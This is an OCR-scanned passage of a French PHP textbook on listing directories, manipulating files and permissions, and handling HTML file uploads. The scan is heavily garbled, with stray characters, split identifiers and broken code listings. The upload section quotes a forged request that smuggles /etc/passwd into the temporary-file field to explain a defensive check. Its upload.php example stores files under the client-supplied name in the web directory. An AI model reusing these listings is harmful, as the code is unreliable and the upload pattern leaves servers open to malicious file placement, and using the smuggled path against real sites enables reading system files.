$repertoire Pointeur surun dossier ouvert avec l'instruction openDir () . S3 g- = 

CO CD 

<?php 

// Ouverture du dossier parent "/ monre P er ' tC11 re " 
$repertoire = openDir("/monrepertoire") ; 
// Placer les differents traitements a effectuer 
// ••• 

// Fermeture du dossier 
cl oseDi r($repertoi re) ; 

?> 

Une fois un pointeur obtenu sur le repertoire, il suffit, pour lister le contenu d'un dossier, de 
faire appel a la fonction readDir ( ) . Le pointeur de lecture se place au debut du repertoire et 
chacun des appels a la fonction readDir ( ) le fait avancer sur l'entree suivante, a savoir le nom 
du fichier ou repertoire suivant. De proche en proche, il est ainsi possible de lire la totalite du 
contenu d'un dossier. 



readDir () 

Lecture des entrees dans un dossier. 

Syntaxe string readDi r (resource $repertoire) 

$repertoi re Pointeur sur un dossier ouvert avec ['instruction openDir ( ) . 

retour Retourne le nom du fichier designe par le pointeur de lecture. 

Ainsi, pour afficher le contenu d'un repertoire, nous pouvons utiliser la fonction suivante : 

Listing 9.15 : readdir.php 

<?php 

//La fonction d 1 exploration 
function expl orer($chemi n) { 

$repertoire = openDi r($chemin) ; 

while ($fichier = readDi r($repertoi re) ) { 

// Inutile d'afficher les entrees . et . . 
if (($fichier != ".")&&($fichier != "..")) { 
// n'oublions pas d'ajouter 
// le chemin au nom du fichier 
echo $chemin."/"-$fichier<br />"; 
} 

} 
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// C'est fini. On ferme ! 
cl oseDi r($repertoi re) ; 



i — CO 

o .± // Definition du chemin a explorer 

K « ■§ $cheminRep = 

Bl _0J Bm 

_i o ■- // L'appel a la fonction 

o> "~ explorer($cheminRep) ; 

?> 



qui pourrait donner : 

./fichierO.php 
./fichierl.php 
./fichier2.php 
./repertoire 



Nous pouvons, de plus, imaginer que tous les sous-repertoires soient listes, permettant ainsi 
d'avoir la liste complete des fichiers contenus dans le dossier courant. Pour cela, nous allons 
utiliser les proprietes de recursivite du langage PHP. Nous devrons en outre etre capables de 
distinguer les repertoires des fichiers. Pour cela, nous devrons faire appel a la fonction 
is_dir() qui indique s'il s'agit d'un repertoire. Et, enfin, afin de distinguer le parcours du 
repertoire du traitement du contenu, nous retournerons un tableau contenant les noms des 
fichiers. 



Listing 9.16 : readdirrecursif.php 

<?php 

// La fonction d 1 exploration 
function explorer($chemin, $recursi f=FALSE) { 
$listeFichier = array(); 



$repertoire = openDir($chemin) ; 

while ($fichier = readDi r($repertoi re) ) { 

// Inutile de tenir compte des entrees . et . . 
if (($fichier != " . ")&&($fichier != "..")) { 
// Est-ce que $file est un repertoire ? 
// Pour le savoir il suffit d 1 appel er is_dir 
// mais attention n'oublions pas d'ajouter 
// le chemin au nom du fichier 
if (is_dir($chemin.7".$fichier)&&($recursif)) { 
// oui ? alors explorons-le 

// et ajoutons le resultat a la liste de fichiers 
$listeFichier = array_merge($l isteFichier, 

expl orer($chemi n. "/" .$f ichier, 
$recursif)) ; 

} else { 

// sinon, c'est un fichier et on l'ajoute 
// a la liste des fichiers 
$listeFichier[] = $chemin. "/" -$f 1 chier; 

} 
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} 

} 

// C'est fini. On ferme ! 
cl oseDi r($repertoi re) ; 
// et on retourne le resultat 
return $listeFichier; 



// Definition du chemin a explorer 
$cheminRep = "../."; 

// L'appel a la fonction 
$fichiers = expl orer($chemi nRep, TRUE) 

// Affichage (a titre demonstratif) 
for ($i=0; $i<count($fichiers) ; $i++) echo $fichiers[$i] ."<br />"; 
?> 

Ce script aisement reutilisable retournera done quelque chose comme : 

./fichierO.php 
./fichierl.php 
./fichier2.php 
. /repertoi re/f i chi erO. php 
. /repertoi re/f i chi erl . php 
. /repertoi re/f i chi er2 . php 
. /repertoi re/f i chi er3 . php 
. /repertoi re/f i chi er4 . php 

Dans certains cas, comme la galerie d'images (un grand classique), il faut filtrer les noms des 
fichiers (generalement d'apres leur extension). Nous allons done perfectionner encore notre 
fonction pour preciser une expression reguliere a laquelle doit repondre le nom du fichier. Une 
fois la liste des fichiers recuperee, il suffira d'afficher les images. 

Listing 9.17 : readdir_f iltre.php 

<?php 

// La fonction d 1 expl oration 

// $chemin : Repertoire a explorer 

// $recursif : TRUE si 1 'exploration doit etre recursive 
// $filtre : Expression reguliere de filtrage des fichiers 

function explorer($chemin, $recursi f=FALSE, $f i 1 tre=NULL) { 
$1 isteFichier = array(); 

$repertoire = openDi r($chemin) ; 

while ($fichier = readDi r($repertoi re) ) { 

// Inutile de tenir compte des entrees . et . . 
if (($fichier != " . ")&&($fichier != "..")) { 
// Est-ce que $file est un repertoire ? 
// Pour le savoir il suffit d'appeler is_dir 
// mais attention n'oublions pas d'ajouter 
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II le chemin au nom du fichier 
if (is_dir($chemin."/".$fichier)&&($recursif)) 
// oui ? alors explorons-le 



.g co // et ajoutons le resultat a la liste de fichiers 

5 -js .± $listeFichier = array_merge($l isteFichier, 
g co ■§ expl orer($chemin. "/" .$fichier, 

=|.2 a $recursif, $filtre)); 



_i a >- } else { 



// sinon, c'est un fichier et s'il repond 
// aux criteres de 1 'expression reguliere 
// on l'ajoute a la liste des fichiers 
if (is_null ($filtre) | |eregi ($filtre, $fichier)) 
$1 isteFichier[] = $chemin.7".$fichier; 



} 



} 



} 

// C'est fini. On ferme ! 
cl oseDi r ($repertoi re) ; 
// et on retourne le resultat 
return $1 isteFichier; 



// Definition du chemin a explorer 
$cheminRep = "../."; 



// L'appel a la fonction 

$fichiers = expl orer($chemi nRep, TRUE, ".gif | .jpg| .png") ; 

// Affichage (a titre demonstrati f) 
echo "<htmlxbody>" ; 
echo "<table width='100%' border= ' '>" ; 
for ($i=0; $i<count($fichiers) ; $i++) { 
// 5 images par ligne 

if ($i%5 == 0) echo "<trx/td>"; else echo "<td>"; 

echo "<img src= "' .$f ichiers [$i] . " 'xbr />"; 

if (($i+l)%5 == 0) echo "</tdx/tr>\n" ; else echo "</td>"; 

} 

echo "</table>"; 

echo "</bodyx/html>"; 

?> 
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L 'ordre des fichiers 

Vous pouvez observer que la liste des fichiers n'est pas donnee dans I'ordre 
ASTUCE alphabetique. Si vous voulez ordonner cette liste, il vous sufftt d'appliquer la fonction 
sort ( ) au tableau. 



Dans les exemples precedents, nous avons opte pour une solution retournant la liste des fichiers 
dans un tableau. Cette methode peut necessiter beaucoup de memoire si la liste est longue. Une 
autre solution aurait pu consister a ajouter a la fonction un parametre permettant de preciser 
le nom d'une fonction a appeler des qu'un nouveau fichier est rencontre. 



Pointeur de lecture du repertoire 

Lors de la lecture du contenu du dossier, vous pouvez deplacer le pointeur a la premiere entree 
a l'aide de l'instruction rewindDir ( ) . 
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rewindDirQ 



Deplace le pointeur de lecture du dossier a la premiere entree. 



Syntaxe 

$repertoi re 



void rewi ndDi r (resource $repertoire) 

Pointeur sur un dossier ouvert avec l'instruction opendir ( ) . 



<?php 

$repertoire = openDi r(" ./") ; 
while ($fichier = readDir($repertoire)) { 
echo $fichier."<br />"; 

} 

// Affichage de la liste des fichiers du dossier. 

while ($fichier = readDir($repertoire)) { 
echo $fichier."<br />"; 

} 

// Le programme n'affiche rien. 

// On deplace le pointeur sur la premiere entree 
rewi ndDi r ($repertoi re) ; 

while ($fichier = readDir($repertoire)) { 
echo $fichier."<br />"; 

} 

// Affichage de la liste des fichiers du dossier, 
cl oseDi r($repertoi re) ; 

?> 



Rechercher un fichier dans un repertoire 

Depuis la version 4.3 du langage PHP il est possible d'effectuer directement des recherches de 
fichier a l'aide de la fonction glob ( ) . Ainsi, la fonction openDir ( ) peut etre avantageusement 
remplacee par glob ( ) lorsqu'il est necessaire de lister le contenu d'un repertoire en utilisant un 
filtre (masque). 




Retourne les fichiers verifiant un masque. 



Syntaxe : 

$masque 
$param 



array glob(string $masque [, int $param]) 
Masque permettant de filtrer les fichiers a retourner. 



Option affectant le resultat : 

GLOB_MARK : Ajoute un slash (caractere /) a la fin de chaque repertoire. 
GLOB_NOSORT : Indique de ne pas utiliser l'ordre alphabetique pour 
retourner les resultats. 
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GLOB_NOCHECK : Retourne le masque si aucun fichier ne correspond au 
masque $masque. 

GLOB_NOESCAPE : Enleve les anti-slash devant les meta-caracteres 
comme l'espace. 

GLOB_BRACE : utilise la formulation {a, b, c} pour rechercher dans le 
masque les chaines a, b ou c. 

GLOB_ONLYDlR : Ne retrourne que les repertoires. 

retour Retourne un tableau contenant la liste des resultats. En cas d'erreur, la 

fonction retourne FALSE. 
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<?php 

/* 



Repertoire contenant les fichiers emma.txt, damien.txt, 
laurent.txt, thomas.txt, pem.txt 
et les repertoire bible et php. 

print_r(glob("p*")) ; 

print_r(glob("p*"> GL0B_MARK) ) ; 

print_r(glob("p*", GL0B_N0S0RT)) ; 

pri nt_r (gl ob ( "*nux" , GL0B_N0CHECK) ) ; 

print_r(glob("{la,da,th}*.txt", GLOB_BRACE) ) ; 

print r(glob("*", GLOB ONLYDIR)); 



?> 

Array 



[0] => pem.txt 
[1] => php 



Array 



[0] => pem.txt 

[1] => Php/ 

Array 

[0] => php 

[1] => pem.txt 

Array 

[0] => *nux 



Array 



[0] => laurent.txt 
[1] => damien.txt 
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[2] => thomas.txt 




) 

Array 
( 



[0] => bible 
[1] => php 



) 



Manipulation de fichiers et repertoires 



Maintenant que nous avons une liste de fichiers, nous pouvons nous interesser a la 
manipulation de ces fichiers. Le langage PHP possede une liste de fonctions qui vont nous 
permettre de copier, renommer, supprimer ou meme creer des liens symboliques sur les 
fichiers. 

Dans un premier temps, interessons-nous a la copie de fichier. L'instruction copy ( ) permet a 
votre programme d'acceder au systeme de fichier, et de copier le fichier designe vers le dossier 
et sous le nom que vous aurez decide. 



<?php 

copy ( " emma . j pg " , " . . /emma . j pg " ) ; 

// Cet exemple copie le fichier emma.jpg 

// vers le dossier en dessous 

?> 

Le langage PHP possede deux instructions link() et symlinkO qui permettent 
respectivement de creer un lien dur ou un lien symbolique sur un fichier. 



copy() 



Copie un fichier. 



retour 



Syntaxe 

$source 
$destination 



boolean copy(string $source, string $destination) 
Chemin vers le fichier source a copier. 
Chemin de destination du fichier. 

Retourne TRUE si le fichier a bien ete copie, FALSE sinon. 



link() (non disponible sous Windows) 



Creer un lien dur sur un fichier. 



Syntaxe 



boolean 1 ink(string $nomFichier, string $nomLien) 
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$nomFi chi er Le nom du fichier sur lequel le lien doit etre cree. 

$ n om L i e n Le nom du lien a creer. 

retour TRUE si le lien a bien ete cree, FALSE dans le cas contraire (avec un 

message de type "warning" sous Windows). 

<?php 

if (1 ink ("/home/1 aurent/emma.png" , "/home/dami en/emma.png") { 

echo "Le lien a bien ete cree."; 
} else { 

echo "Le lien n'a pas ete cree."; 
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symLink() (non disponible sous Windows) 



Creer un lien symbolique sur un fichier. 

Syntaxe boolean symLi nk(stri ng $nomFi chi er, string $nomLienSymb) 

$nomFi chi er Le nom du fichier sur lequel le lien doit etre cree. 

$nomLi enSymb Le nom du lien symbolique a creer. 

retour TRUE si la fonction n'a pas rencontre de probleme, FALSE sinon (avec un 

message de type "warning" sous Windows). 

<?php 

i f (syml i nk( "/home/1 aurent/emma.png" , "/home/dami en/emma.png") { 

echo "Le lien symbolique a bien ete cree."; 
} else { 

echo "Le lien symbolique n'a pas ete cree."; 

} 

?> 



Les programmes exploitant les fonctions de manipulation de fichiers doivent souvent utiliser 
des fichiers temporaires. II est en effet souvent interessant de creer des fichiers tampons afin de 
stocker les donnees temporairement. La fonction tempNam ( ) permet cette manipulation en 
creant, sur un repertoire, un fichier possedant un nom unique. 



tempNam() 

Creer un fichier temporaire dans un repertoire fourni en parametre. 

Syntaxe string tempNam(stri ng $dossier, string $prefixe) 

$dos s i er Dossier ou doit etre cree le fichier temporaire. Si le nom du dossier est mis 

a NULL, le fichier sera cree dans le repertoire temporaire du systeme 
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(depend de la configuration mais, generalement, /tmp sous Linux et 
C:\windows\temp\ sous Windows). 

V) 

.g eg $pref i xe Prefixe du nom de fichier a creer (permet de distinguer plus simplement 

c ~° o les fichiers temporaires des autres). Si vous ne souhaitez pas en preciser, 

s 03 "5 mettez cette valeur a NULL. 

S3 £ " 

=> .2J S. retour Le nom du fichier qui a ete cree. Si une erreur est survenue, FALSE sera 

II £ 11 - 

_j o >- renvoye. 

. **— 
o> 

<?php 

$nomTemporai re = tempNam(NULL, "php_"); 

echo "Le fichier ".$nomTemporaire." vient d'etre cree."; 

?> 

La manipulation de fichiers suppose aussi la possibility de supprimer. L'instruction unlink( ) 
efface definitivement un fichier (ou un lien) du disque. 



unlink () 

Destruction d'un fichier ou d'un lien sur un fichier (pour les repertoires voir rmdir ( ) ). 

Syntaxe boolean unl i nk(stri ng $nomFi chi er) 

$nomFi chi er Nom et chemin d'acces du fichier a supprimer. 

retour TRUE si le fichier a bien ete supprime, FALSE dans le cas contraire. 

<?php 

if (unlink("/home/laurent/emma.jpg") { 

echo "Le fichier a ete efface"; 
} else { 

echo "Le fichier n'a pas ete detruit."; 

} 

?> 

Nous avons vu comment copier un fichier et le supprimer ; ces deux instructions que sont 
copy() et unlink () seraient amplement suffisantes pour nous permettre de deplacer un 
fichier d'un endroit a un autre si le langage PHP ne possedait pas l'instruction rename ( ) . Ainsi, 
en une seule commande, il est possible de deplacer le fichier et (ou) de le renommer. 



rename () 

Renomme et (ou) deplace un fichier ou un repertoire. 

Syntaxe boolean rename(stri ng $ancienNom, string $nouveauNom) 
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$ancienNom Ancien nom ou ancien chemin du f ichier. 

$nouveauNom Nouveau nom ou nouvel emplacement du fichier. 

retour Si le changement de nom s'est bien deroule, l'instruction retourne TRUE, 

FALSE sinon. 

<?php 

if (rename("/home/laurent/emma.png", "/home/thomas/emma.png")) { 

echo "Le fichier a ete deplace avec succes."; 
} else { 

echo "Impossible de deplacer le fichier."; 

} 

?> 



rmDir() 

Supprime un repertoire a la condition que celui-ci soit vide. 

Syntaxe boolean rmDi r (stri ng $nomDossier) 

$nomDossi er Chemin d'acces du dossier a supprimer. 

retour Retourne TRUE si le dossier a bien ete supprime, FALSE sinon. 

<?php 

if (rmdir("/home/laurent/emma") { 

echo "Le dossier a ete efface"; 
} else { 

echo "Le dossier n'a pas ete detruit."; 

} 

?> 

Le langage PHP permet, bien evidemment, de creer des dossiers. Pour cela, vous disposez de 
l'instruction mkDir ( ) . Vous pourrez alors preciser les droits sur le repertoire ainsi cree. Bien 
entendu, le mode ne concerne que le systeme UNIX et non les plateformes Windows. 



mkDir () 

Cree un dossier et lui affecte un mode. 



Syntaxe boolean mkDi r (stri ng $nomDossi er [, int $mode] ) 

$nomDossier Nom du dossier a creer. 

$mode Droits reclames pour le dossier a creer (inoperant sous Windows). 

retour Retourne TRUE si le dossier a bien ete cree ; a l'inverse, notamment si le 

dossier existe deja, l'instruction renvoie FALSE. 



to 
o' r— 

CD> =■ OJ 
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<?php 

if (mkDi r("nouveaurepertoi re" ,0755) { 

echo "Le dossier a ete cree."; 
} else { 

echo "Le dossier n'a pas ete cree."; 

} 

?> 



II est probable que le dossier que vous creerez ne possedera pas exactement les droits que vous 
aurez specifies. En effet, chaque utilisateur (y compris le compte sous lequel tourne le serveur 
web) possede dans son environnement un parametre appele umask. Ce parametre definit les 
droits d'acces qui sont, par defaut, retires lors de la creation des fichiers et repertoires. 

Concernant les fichiers, les droits demandes par defaut sont 0666. Ainsi, un utilisateur qui 
possede un umask en 0000 creera par defaut des fichiers ayant les droits 0666 (0666 - 0000 en 
octal), alors qu'un utilisateur avec un umask en 0022, creera des fichiers ayant les droits 0644 
(0666 - 0022 en octal). 

Le principe est le meme pour les repertoires. Si vous specifiez des droits 0777, alors l'umask 
sera applique. S'il est a 0022, les droits effectifs du repertoire seront 0755 (0777 - 0022 en octal). 

Si vous voulez creer des dossiers dans un mode particulier, vous serez peut-etre amene a utiliser 
la fonction umask ( ) qui permet de modifier l'umask pendant la duree de l'execution du script 
(si PHP est compile en module ou, au-dela, s'il est execute en CGI). 



RENVOI 



Pour plus d "informations sur la compilation de PHP, reportez-vous au chapitre "Prise 
en main". 



umask() (inoperant sous Windows) 

Change (ou retourne) la valeur de l'umask. 

Syntaxe int umask([int $nouvMask]) 

$nouvMask Nouvel umask. 

retour Retourne la valeur precedente de l'umask (0 sous Windows). 

<?php 

// Modification de l'umask 
$ancienUmask = umask(0022) ; 
if (mkdi r("/home/l aurent/emma" ,0777) { 

echo "Le dossier possede le mode 755."; 
} else { 

echo "Le dossier n'a pas ete cree."; 

} 

// reinitailisation de l'umask dans sa valeur initiale. 
umask($ancienl)mask) ; 

?> 
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Modification des permissions 

Lorsque vous desirez installer un logiciel, il est probable que, dans les notes d'installation, Ton 
vous demande de modifier les permissions de certains repertoires et fichiers en 777 ; cela pour 
la raison suivante : 

generalement, vous placez les fichiers sur le serveur a l'aide d'un client FTP. Ceux-ci 
appartiennent alors au compte et au groupe utilises lors de Faeces FTP. Les permissions sont 
done limitees a l'utilisateur du compte FTP. De ce fait, le serveur HTTP (qui tourne en general 
sous un autre utilisateur, qui peut etre, par exemple, apache ou nobody) n'a pas les droits 
d'acces sur ces fichiers. Le serveur ne peut alors pas ecrire dans les repertoires ou les fichiers. 
La solution de facilite est done de modifier les permissions sur les fichiers que le serveur est 
cense retoucher en donnant les droits en lecture, ecriture et execution a tous (0777). 

Cela est aussi valable dans le sens inverse. Le serveur web peut creer des fichiers que 
l'utilisateur ne peut ensuite modifier, car il ne possede pas les droits d'ecriture sur ledit fichier. 

Le langage PHP permet la modification des proprietaries des fichiers et des repertoires, ainsi 
que la gestion de leurs droits. II s'agit tout simplement des equivalents des commandes chmod, 
chown et chgrp disponibles sous Linux. 

Attention, la modification des droits sur les fichiers suppose que le serveur HTTP possede les 
permissions necessaires a cette modification. En regie generale, l'utilisateur qui effectue les 
changements est l'utilisateur proprietaire des fichiers ou fait partie du groupe proprietaire. 



chmod () (inoperant sous Windows) 

Modifie les permissions de lecture, d'ecriture et d'execution d'un fichier. 

Syntaxe boolean chmod (string $nomFichier, int $mode) 

$nomFichier Chemin d'acces au fichier a modifier. 

$mode Indique en octal le nouveau mode (ex. : 0755). 

retour TRUE si le changement de mode se deroule sans probleme (et sous 

Windows), FALSE sinon. 

II est, la aussi, conseille de placer un zero devant le mode afin de preciser que celui-ci est donne 
en octal et non en decimal. 

<?php 

if (chmod ("emma.txt" , 0755)) { 

echo "Le changement de permission est un succes."; 
} else { 

echo "Echec dans le changement de permission."; 

} 

?> 
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chown() (inoperant sous Windows) 

a> Change le proprietaire du fichier. 



S "S-5 

oj S2 Syntaxe boolean chown (string $nomFichier, mixed $uti 1 i sateur) 

o o a 

j3 o $nomFichier Nom du fichier a modifier. 

. »^ 

°> $uti 1 i sateur L'utilisateur a qui Ton veut dormer les droits. Peut etre precise soitparson 

UID (identifiant d'utilisateur) soit par son login (nom d'utilisateur). 

retour TRUE si la modification a bien ete effectuee (ou sous Windows), FALSE 

dans le cas contraire. 

<?php 

if (chown("fichier.txt" , "damien")) { 

echo "Le changement d'utilisateur est un succes."; 
} else { 

echo "Echec dans le changement d'utilisateur."; 

} 

?> 



chgrp() (inoperant sous Windows) 

Change le groupe proprietaire du fichier. 

Syntaxe boolean chgrp (string $nomFichier, mixed $groupe) 

$nomFichier Nom du fichier a modifier. 

$groupe Le groupe a qui Ton veut donner les droits. Peut etre precise soit par son 

GID (identifiant de groupe) soit par son nom. 

retour TRUE si la modification du groupe a ete effectuee avec succes, FALSE dans 

le cas contraire (et sous Windows). 

<?php 

if (chgrp("fichier.txt" , "invite")) { 

echo "Le changement de groupe est un succes."; 
} else { 

echo "Echec dans le changement du groupe."; 

} 

?> 



Upload de fichiers 

Le terme upload designe Taction de transferer, vers un serveur distant, un fichier qui se situe en 
local (sur le poste du client). L'upload de fichiers a l'aide d'un formulaire HTML n'est possible 
que depuis la version 1.1 de la norme HTTP. Le navigateur peut, a l'aide d'une methode post, 
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expedier un fichier sur le serveur dans un repertoire temporaire, qu'il soit d'un format texte ou 
binaire. Le code HTML permettant cette action est de la forme : 

Listing 9.18 : upload_form.html 

<html> 
<head> 

<ti tl e>Upl oad de f i chi ers</ti tl e> 
</head> 
<body> 

<form action="upload.php" enctype="mul ti part/form-data" method="post"> 
<input type="hidden" name="MAX_FILE_SIZE" value="1024" /> 
Uploader le fichier : <input name="fichier" type="file" /xbr /> 
<input type="submit" value="Go >>"> 
</form> 

</body> 

</html> 

Ce formulaire contient deux balises particulierement importantes : 

La balise <form> avec l'attribut enctype="multipart/form-data" indique au 

navigateur la facon dont les donnees seront envoyees (done ici, sous forme de donnees 
brutes), alors que la valeur par defaut est application/x-www-f orm-urlencoded. 
L'envoi de fichiers ne peut se faire qu'avec la methode post, d'ou la presence de l'attribut 

method= "post " . 

La balise <input> avec l'attribut type= " file " . Cette balise se traduit par la presence, sur 
le formulaire, d'un bouton permettant la selection du fichier (sur le poste client). 

II est egalement conseille de specifier une balise supplemental contenant un champ cache qui 
precise la taille maximale (en octets) des fichiers a transferer. <input type= "hidden" 
name="MAX_FiLE_siZE" value="l024" /> (ici, pour des fichiers de 1 Ko au maximum). 

Ally a toujours un risque de casse 
Prenez garde : le nom du champ max_file_size doit obligatoirement etre en 
ATTENTION majuscules. 

Lorsqu'un tel formulaire est "soumis", le client envoie plusieurs lignes supplementaires dans 
l'en-tete HTTP. Habituellement, pour des donnees classiques, e'est-a-dire qui ne sont pas des 
upload de fichier, le navigateur ajoute une ligne Content-Di sposition: form-data; 
name="leNomDuChamp" suivie d'un retour chariot et de la valeur du champ. Pour chaque 
champ de type fichier, le navigateur ajoute une ligne d'en-tete Content-Disposition: 

form-data; name= " leNomDuChamp " ; f ilename= "monFichier . gif " Suivie d'un retour 

chariot, d'une ligne decrivant le contenu du fichier Content-Type : image/gif et, a nouveau, 
d'un retour chariot et, enfin, du contenu du fichier a envoyer sur le serveur. 

Au final, le fichier est receptionne dans un repertoire temporaire du serveur. Notez que le nom 
du fichier dans ce repertoire est independant du nom du fichier que l'utilisateur a transmis. En 
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effet, le fichier porte lui-meme un nom temporaire. II vous faudra alors renommer et deplacer 
le fichier dans un lieu sur (a moins que vous ne souhaitiez seulement le consulter, et non pas le 
«g conserver). 

= -a aj 

o t; ,± 

Tattle maximale du fichier 

L'ajout du champ cache max_file_size n'est en Hen une garantie que des fichiers 
de plus petite taille puissent etre envoyes sur le serveur. En effet, la taille des fichiers 
uploades est limitee par differents autres parametres. La limite peut etre imposee par 
PHP via I'option upload_max_filesize (par defaut 2 Mo) du fichier php.ini et, 
eventuellement, par le serveur web lui-meme. 

De plus, ilfaut noter que la presence du champ max_file_size dans le formulaire 
que vous mettez a disposition n'interdit en rien un utilisateur d'utiliser son propre 
formulaire (sans se fixer de limitation dans la taille du fichier uploade). II est done 
necessaire de ne pas trop s'appuyer sur ce parametre HTML, et de toujours verifier 
dans votre programme que le fichier en question ne depasse pas la taille autorisee. 

Le script PHP appele par le formulaire (ici upload.php) dispose alors de plusieurs entrees dans 
la variable globale $_files de type tableau associatif (anciennement $http_post_files ou 
$_post). Ce tableau contient une cle portant le nom specifie dans la balise <input 
type=" f ile"> (ici $_files [ " fichier" ] ). A ce moment-la, la valeur associee est un tableau, 
lui aussi associatif, contenant les cles presentees dans le tableau suivant : 



Tableau 9.2 : Les differentes "cles" de la variable d'environnement S FILES dans le cas ou 
"fichier" est le nom du champ "file" du formulaire 



$_FILES 






Description 


$_FILES [ 


" fichier " 


] [ " tmp_name " ] 


Contient le nom temporaire (sur le serveur) du 
fichier qui a ete transmis par le formulaire. 


$_FILES [ 


" fichier " 


] [ " name " ] 


Contient le nom du fichier tel qu'il existe sur le 
disque du client. 


$_FILES [ 


" fichier " 


] [ "size" ] 


Contient la taille en octets du fichier transmis. 


$_FILES [ 


" fichier " 


] ["type"] 


Contient le type MIME du fichier. 



register _global 

Comme cela a ete evoque a de nombreuses reprises concernant d'autres variables 
externes, si votre fichier php.ini precise register _global=on, alors 
$_files[ "fichier" ] est directement accessible via la variable $ fichier. II est 
cependant fortement deconseille de positionner register_global a on (comme 
precise dans le chapitre sur les variables externes). 

Le langage PHP permet ensuite, a 1'aide de quelques fonctions, de manipuler ce fichier tres 
simplement. 



■j: » o 

K w 
oj >- £ 
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ATTENTION 



REMARQUE 
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La premiere etape peut consister en un appel a la fonction is_uploaded_f ile ( ) . L'objectif 
est alors double. II s'agit de verifier si l'upload du fichier s'est bien deroule (presence effective 
d'un fichier portant le nom indique), mais egalement de verifier si le fichier passe en parametre _ f° 

est bien un fichier qui a ete telecharge. Cette derniere verification est tres importante. II est en j " f 
effet imaginable qu'un hacker puisse tromper le script, en lui faisant croire qu'un fichier a ete 5" <a 

uploade dans un repertoire donne sous un nom correspondant a un fichier vital de votre §■ w J3. 
systeme. Les traitements operes par le script s'effectueraient alors non pas sur un fichier ' ~ § 
transfere lambda, mais sur ce fichier systeme. Le risque est evident si vous avez opte pour une M ™ a. 
configuration avec register_globals=on (ce qui etait la configuration par defaut avant PHP «° 
4.2.0) et que les parametres get sont rendus globaux apres les parametres post (ce qui n'est pas 
la configuration par defaut). Dans ce cas, il suffirait d'appeler le script de la facpn suivante : 
upload.php?fichier[tmp_name]=/etc/passwd pour lui faire croire que le fichier telecharge 
s'appelle /etc/passwd. Meme si le cas evoque ici n'est pas tres realiste, dans la mesure oii il 
resulte d'une modification aberrante du fichier de configuration, il n'est pas a exclure que 
d'autre moyens d'obtenir ce resultat sont envisageables. Prudence etant mere de surete, vous 
savez ce qu'il vous reste a faire... 



is_uploaded_file() 

Indique si le fichier est un fichier telecharge via un formulaire HTTP de type post. 

Syntaxe boolean i s_upl oaded_f i 1 e(stri ng $nomFi chi er) 

$nomFichier Chemin complet vers le fichier. 

retour TRUE si le fichier est un fichier telecharge par formulaire, FALSE dans le 

cas contraire. 

Pour mettre en evidence l'utilisation de la fonction is_uploaded_f ile ( ) et le contenu du 
tableau $_file, nous utiliserons un script contenant un formulaire et qui s'appellera lui-meme 
afin de donner les informations sur le fichier uploade. 

Listing 9.19 : is uploaded file.php 

<?php 

// Verifions que le tableau $_P0ST existe avant de l'utiliser 
if ($_P0ST){ 

// Verifions que le formulaire a ete valide 

if ($_POST["envoyer"]) 

{ 

if (i s_upl oaded_f i 1 e($_FI LES ["f i chi er"] [" tmp_name"] ) ) 
{ 

echo "Le fichier " . $_FI LES [" f i chi er"] ["name"] . 

" a bien ete telecharge. <br />"; 
echo "II fait " .$_FILES["fichier"] ["size"] . " et est de type ". 
$_FILES["fichier"] ["type"] . "<br />"; 

} else { 

echo "Le fichier ".$_FILES["fichier"] ["name"] . 
" n'a pas ete tel echarge<br />". 
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"Peut-etre depassait-il la limite des lKo<br />". 
"A moins que vous n'ayez essaye de truander"; 

} 

} 

} 

?> 

<html> 
<head> 

<ti tl e>i s_upl oaded_f i 1 e</ti tl e> 
</head> 
<body> 

<form enctype="mul ti part/form-data" method="post"> 

<input type="hidden" n ame= " MAX_F I LE_S IZE " val ue=" 1024"> 
Telecharger le fichier : 
<input name="f i chi er" type="file"> 
<input name="envoyer" type="submit" val ue="Envoyer"> 
</form> 
</body> 
</html> 

Une fois cette verification effectuee, il ne reste plus qu'a deplacer ce fichier vers le dossier de 
travail, afin de ne pas le laisser sur le repertoire temporaire ou il serait detruit a plus ou moins 
long terme. 

Pour deplacer un fichier, il existe deux methodes. Soit vous deplacez le fichier de facpn 
classique a l'aide de l'instruction move ( ) , soit vous deplacez le fichier a l'aide de la fonction 
move_uploaded_f ile ( ) . Dans ce dernier cas, vous n'avez pas besoin d'utiliser 
is_upioaded_f ile ( ) . En effet, move_uploaded_f ile ( ) se charge de verifier si la source est 
bien un fichier telecharge a l'aide d'un formulaire. 



move_uploaded_file () 

Deplace un fichier telecharge depuis le repertoire temporaire vers un dossier de destination. 

Syntaxe boolean move_uploaded_file(string $nomFi chi er, string 

$destination) 

$nomFichier Nom temporaire du fichier a deplacer. 

$desti nation Fichier de destination. 

retour TRUE si le fichier est bien un fichier uploade et a bien ete deplace, FALSE 

s'il y a une erreur quelconque. 

II est alors possible d'ecrire le script suivant, charge de copier le fichier uploade dans le 
repertoire d'execution du script, et de lister le contenu de ce meme repertoire. Ce script pourra 
etre appele par le formulaire upload Jorm.html presente au debut de ce chapitre. 
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Listing 9.20 : upload.php 

<?php 

// Displacement du fichier du repertoire temporal re 
// vers le repertoire courant d'ou est execute le script 
if (move_uploaded_file($_FILES["fichier"] ["tmp_name"] , 

"./".$ _FILES["fichier"] ["name"])) 

{ 

// Le fichier est deplace 

// Affichage de la liste des fichiers du repertoire 
$repertoire = opendi r(" ./") ; 
while ($fichier = readdi r($repertoi re) ) { 
echo $fichier. "<br />"; 

} 

cl osedi r ($repertoi re) ; 

} 

?> 

La difficulte que nous avons occultee ici est celle qui consiste a donner un nom unique au 
fichier. En effet, stocker le fichier sous le nom qu'il porte sur le poste client (comme cela est le 
cas dans l'exemple precedent) n'est generalement pas satisfaisant. Si deux utilisateurs 
"uploadent" un fichier emma.jpg et que ce fichier est copie dans le meme repertoire, alors le 
fichier du premier sera ecrase par celui du second. Mais la strategic a mettre en place depend 
fortement du resultat que vous souhaitez obtenir. II est envisageable de stocker le fichier sous 
le nom initial s'il est copie dans un repertoire propre a chaque utilisateur. II est egalement 
possible de copier le fichier sous un nom incluant l'identifiant (unique) de l'utilisateur (si ce 
dernier doit s'identifier pour acceder au site). 

Mais il est aussi possible d'uploader plusieurs fichiers a partir d'un unique formulaire. II suffira, 
dans ce cas, de donner un nom distinct pour chaque champ de type file, ou bien de leur 
donner un nom de tableau (i.e. un nom termine par []). 

Listing 9.21 : uploadmulti_form.html 

<html> 
<head> 

<ti tl e>Upl oad de plusieurs fichiers</title> 
</head> 
<body> 

<form action="upl oadmul ti . php" enctype="mul tipart/form-data" 
method="post"> 
Uploader les fichiers suivants : <br /> 
Fichier : <input name="fichier[] " type="file" /xbr /> 
Fichier 1 : <input name="fichier[] " type="file" /xbr /> 
